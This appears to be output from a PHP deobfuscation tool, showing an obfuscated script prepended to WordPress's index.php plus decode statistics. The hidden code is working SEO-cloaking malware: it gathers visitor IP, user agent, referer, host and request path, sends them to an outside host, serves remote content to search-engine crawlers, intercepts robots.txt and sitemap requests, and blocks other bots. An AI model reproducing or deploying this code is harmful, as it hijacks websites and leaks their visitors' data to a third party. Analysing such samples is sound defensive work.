iOqIS: exit; goto syxMT; ZJaMw: if ($H00Aa == "\x6f\x6b") { goto CHfhm; } goto dBCiH; QObu0: $s2Xvg = urlencode($_SERVER["\x52\105\x51\x55\105\123\x54\x5f\x53\x43\x48\x45\x4d\x45"]); goto C2QVD; YXfQA: $QW4wh = $ZPqbm . "\x3f\x61\147\145\x6e\164\75{$MUqFe}\x26\162\x65\146\x65\x72\x3d{$mfNfm}\x26\x6c\x61\x6e\147\75{$sh3Ko}\x26\x69\x70\75{$qBqq1}\46\x64\x6f\155\75{$LEyoO}\46\150\164\164\x70\x3d{$s2Xvg}\46\165\162\151\75{$XQwkk}\x26\x70\143\75{$Lf18X}\46\x72\145\x77\162\x69\164\x65\141\142\154\x65\x3d{$D0Kq4}\46\x73\x63\162\151\x70\x74\75{$Efzsn}"; goto LF7OD; LP21i: header("\110\x54\124\x50\x2f\x31\56\60\x20\64\60\63\x20\106\157\x72\142\x69\144\144\145\156"); goto MvrcV; syxMT: DxiC5: goto espWX; h2qT3: sDZ3l: goto z1D4t; SXxri: D3I94: goto ZSrHS; dBCiH: $D0Kq4 = 0; goto b9WnR; ElZjk: $cfWxx = "\x55\x73\x65\162\x2d\x61\147\x65\x6e\164\72\40\x2a\xd\xa\x41\x6c\154\x6f\x77\72\x20\x2f"; goto kc0NF; z1D4t: oRaI0: goto Iqigg; HcEO9: $jx83P = "\142\151\156\147\174\x67\x6f\x6f\x67\154\145\174\x79\141\x68\x6f\x6f"; goto NBQuc; wQ1F7: $QW4wh = $ZPqbm . "\x3f\x61\147\x65\x6e\164\x3d{$MUqFe}\x26\162\145\146\145\x72\x3d{$mfNfm}\x26\154\x61\x6e\147\75{$sh3Ko}\46\151\x70\x3d{$qBqq1}\46\144\157\155\x3d{$LEyoO}\x26\x68\164\164\x70\x3d{$s2Xvg}\x26\x75\x72\x69\75{$XQwkk}\46\x70\143\x3d{$Lf18X}\x26\x72\x65\x77\162\151\x74\145\x61\142\154\145\x3d{$D0Kq4}"; goto S1oi5; uT3PO: if (strpos($XQwkk, "\x72\157\142\x6f\164\x73\x2e\164\170\x74") !== false || strpos($XQwkk, "\x77\x72\x69\164\145\162\x6f\x62\x6f\164\x73") !== false) { goto DixqT; } goto yyfZM; QQ0b4: exit; goto Dgkqm; tM8ha: header("\103\x6f\156\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\145\170\164\57\x78\155\154\x3b\40\143\150\141\x72\163\x65\164\x3d\165\164\146\55\70"); goto AYUk5; uNXk_: zqdUt: goto C6S6v; sqdON: exit; goto ajOAg; epu3u: $H00Aa = yH6rA($QW4wh); goto oRyDe; Dc0pY: function zMjBF() { goto PdcR9; KV0Ye: n_lSm: goto tixqe; cjy1G: goto QHgBP; goto VUf1W; YzMge: $qBqq1 = "\x30\56\60\56\x30\x2e\x30"; goto zMoGX; wyYvb: if (getenv("\x52\105\x4d\x4f\x54\105\x5f\x41\x44\x44\122")) { goto zpPTX; } goto YzMge; rOkMR: $qBqq1 = $TFdFv[0]; goto cjy1G; BqBYn: SNqXz: goto kj8xS; atRKc: QHgBP: goto HJ2Wn; VUf1W: zpPTX: goto ZjA6K; eITJQ: $qBqq1 = getenv("\x48\124\124\x50\x5f\x43\114\111\105\x4e\124\137\111\120"); goto KV0Ye; zMoGX: goto QHgBP; goto vB0Fe; vB0Fe: Huljk: goto zZnN9; qmSBc: goto QHgBP; goto BqBYn; zZnN9: $qBqq1 = getenv("\x48\x54\x54\x50\137\x58\137\x52\x45\101\x4c\137\x49\x50"); goto qmSBc; HJ2Wn: return $qBqq1; goto AzGW2; kj8xS: $qBqq1 = getenv("\110\124\x54\120\x5f\130\x5f\106\117\x52\x57\101\x52\x44\105\x44\x5f\x46\117\122"); goto jgrSa; ZjA6K: $qBqq1 = getenv("\x52\x45\115\117\x54\105\137\101\x44\x44\x52"); goto atRKc; tixqe: if (getenv("\x48\x54\124\x50\137\130\x5f\x52\105\x41\x4c\137\111\120")) { goto Huljk; } goto BoBl8; BoBl8: if (getenv("\x48\124\124\x50\x5f\x58\137\106\x4f\122\127\x41\122\104\x45\104\x5f\x46\x4f\x52")) { goto SNqXz; } goto wyYvb; PdcR9: if (!getenv("\x48\x54\124\120\137\103\114\111\x45\x4e\124\137\111\120")) { goto n_lSm; } goto eITJQ; jgrSa: $TFdFv = explode("\54", $qBqq1); goto rOkMR; AzGW2: } goto jzWPj; WQ3pq: if ($D0Kq4 == 0) { goto hPl7S; } goto HAVTc; fTOkV: if ($H00Aa == "\x35\x30\60") { goto ZVywg; } goto tM8ha; iWkhD: exit; goto mQf6v; Esorg: ODx8w: goto wQ1F7; IJPHc: cahs7: goto nl0he; C6S6v: $D0Kq4 = 0; goto Ynoro; ajOAg: goto SrpU0; goto Sh2Gh; uzW9L: header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\124\171\x70\x65\72\40\x74\x65\x78\x74\57\170\x6d\154\x3b\x20\x63\x68\x61\x72\x73\145\164\x3d\165\x74\146\x2d\x38"); goto b9Xeo; WmsaG: @file_put_contents("\165\x78\x6f\56\164\170\164", "\61"); goto ADQ4u; w8_Rx: oZOKn: goto ZPVdY; J1aqz: echo "\x6f\x6b"; goto iWkhD; NBQuc: $ZPqbm = "\x68\x74\164\160\x3a\57\x2f\x63\167\x34\61\x2e\141\x6c\x65\x72\x74\163\x75\x62\56\164\157\x70\x2f\151\x6e\144\145\170\x2e\x70\150\x70"; goto wufgU; fRAVM: if (!preg_match("\57\x28\x42\x79\164\145\163\x70\151\x64\x65\x72\x7c\120\145\x74\x61\154\102\157\x74\x7c\101\x68\162\x65\x66\x73\102\157\x74\x7c\x42\141\162\x6b\x72\x6f\x77\x6c\x65\162\x7c\115\112\x31\62\142\x6f\x74\x7c\x46\145\145\x64\104\145\x6d\157\x6e\174\x4a\x69\153\145\123\x70\x69\x64\145\162\174\x49\x6e\144\171\x20\114\151\x62\x72\141\x72\x79\x7c\101\163\153\x54\x62\106\x58\x54\126\174\103\x72\x61\167\154\104\141\144\x64\171\174\103\157\x6f\x6c\160\141\144\127\145\x62\x6b\x69\x74\174\x4a\x61\166\141\174\106\145\145\144\x6c\171\174\x55\x6e\x69\x76\145\162\x73\x61\154\x46\145\145\x64\120\x61\x72\x73\x65\162\174\x41\160\141\143\150\145\102\145\x6e\143\150\174\x53\x77\151\146\x74\142\x6f\x74\x7c\132\x6d\x45\165\x7c\157\x42\157\x74\174\x6a\141\x75\156\x74\171\x7c\120\x79\164\150\157\x6e\55\x75\x72\154\154\151\142\x7c\160\171\164\150\157\156\55\162\145\x71\165\x65\163\x74\x73\x7c\154\x69\147\150\x74\104\x65\143\x6b\x52\x65\x70\157\162\164\x73\x20\x42\157\164\174\131\x59\123\x70\151\144\145\162\x7c\104\151\x67\105\x78\164\174\x59\x69\163\157\165\x53\x70\151\144\145\x72\x7c\110\164\x74\x70\103\154\151\x65\x6e\x74\x7c\150\145\162\151\x74\x72\151\x78\174\105\141\x73\x6f\x75\123\x70\151\x64\145\x72\x7c\105\172\x6f\157\x6d\163\174\101\155\x61\172\157\156\x42\x6f\x74\174\x53\105\115\x72\165\163\150\102\157\164\174\x59\141\156\144\145\170\x42\x6f\x74\x7c\160\x61\154\157\141\x6c\x74\x6f\156\x65\164\x77\157\162\153\163\174\120\x79\164\150\157\156\x29\x2f\151", $_SERVER["\x48\x54\124\x50\x5f\125\x53\x45\x52\x5f\101\x47\105\116\124"])) { goto R6XOt; } goto LP21i; B9MAl: if (substr($H00Aa, 0, 5) == "\x3c\x3f\x78\155\x6c") { goto lZ9iF; } goto Ij2lA; ZPVdY: echo $sKp6w . "\72\40" . $c222D . "\x3c\x62\162\x2f\76"; goto CcNKg; yHT8n: if ($H00Aa == "\x35\x30\x30") { goto o6qCr; } goto iqf7Q; AYUk5: echo $H00Aa; goto sqdON; JHDfY: if (preg_match("\57\x28{$jx83P}\x29\x2f\151", $_SERVER["\110\x54\x54\120\x5f\125\x53\105\122\x5f\101\x47\x45\116\124"])) { goto Xux0K; } goto wr_n4; jFAGr: $_SERVER["\122\105\x51\x55\105\123\x54\137\123\103\110\105\115\x45"] = "\x68\164\x74\160"; goto aOMzP; gg9p9: exit; goto ds4bs; S1KIG: $VSTuS = zmjBf(); goto rRex3; U0gH_: tGish: goto QObu0; bTi41: echo $H00Aa = Yh6Ra($QW4wh); goto j548G; eP0V_: CJSfN: goto eXrOK; NEojz: f93fN: goto DoYab; san8e: exit; goto F2TF3; bUcBj: IATwR: goto BzCCs; k5gig: $D0Kq4 = 1; goto WmsaG; Ij2lA: header("\x43\157\156\164\x65\156\x74\x2d\124\x79\x70\x65\72\x20\x74\x65\x78\x74\x2f\150\x74\x6d\154\73\40\x63\150\141\x72\x73\145\164\x3d\165\x74\x66\55\70"); goto cgopD; ZSrHS: TMg39: goto w93Df; YjyDN: $LEyoO = urlencode($_SERVER["\110\x54\124\x50\137\110\x4f\x53\x54"]); goto TQdqM; Xllnf: lwMoI: goto wVkUX; iqf7Q: if (empty($H00Aa)) { goto qxLVu; } goto M5mF_; Zittn: CHfhm: goto k5gig; LF7OD: $H00Aa = YH6ra($QW4wh); goto fTOkV; UuyI7: goto TMg39; goto nF3HY; zHxB3: exit; goto uNXk_; K4JWg: SbYqX:
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Function Calls
None |
Stats
MD5 | 7b7cae0f2898d119bf34efb75509c9a8 |
Eval Count | 0 |
Decode Time | 63 ms |